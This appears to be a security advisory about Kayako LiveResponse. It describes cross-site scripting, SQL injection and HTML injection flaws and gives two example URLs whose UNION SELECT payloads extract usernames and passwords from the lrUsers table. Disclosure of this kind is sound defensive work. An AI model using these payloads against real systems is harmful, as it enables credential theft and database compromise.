source: http://www.securityfocus.com/bid/14425/info
 
Kayako LiveResponse is prone to multiple cross-site scripting, SQL injection, and HTML injection vulnerabilties. These issues are all related to input validation errors.
 
The cross-site scripting and HTML injection vulnerabilities may allow for theft of cookie-based authentication credentials or other attacks. The SQL injection vulnerabilities may permit a remote attacker to compromise the software or launch attacks other attacks against the database. 

http://www.example.com/index.php?date=22&month=3&year=2005%20UNION%20SELECT%200,0,0,0,0,0,
username,pass%20FROM%20lrUsers%20WHERE%201/*&_g=2&_a=panel&_m=cal

http://www.example.com/index.php?date=22%20UNION%20SELECT%200,0,0,0,0,0,username,pass%20
FROM%20lrUsers%20WHERE%201/*&month=3&year=2005&_g=2&_a=panel&_m=cal 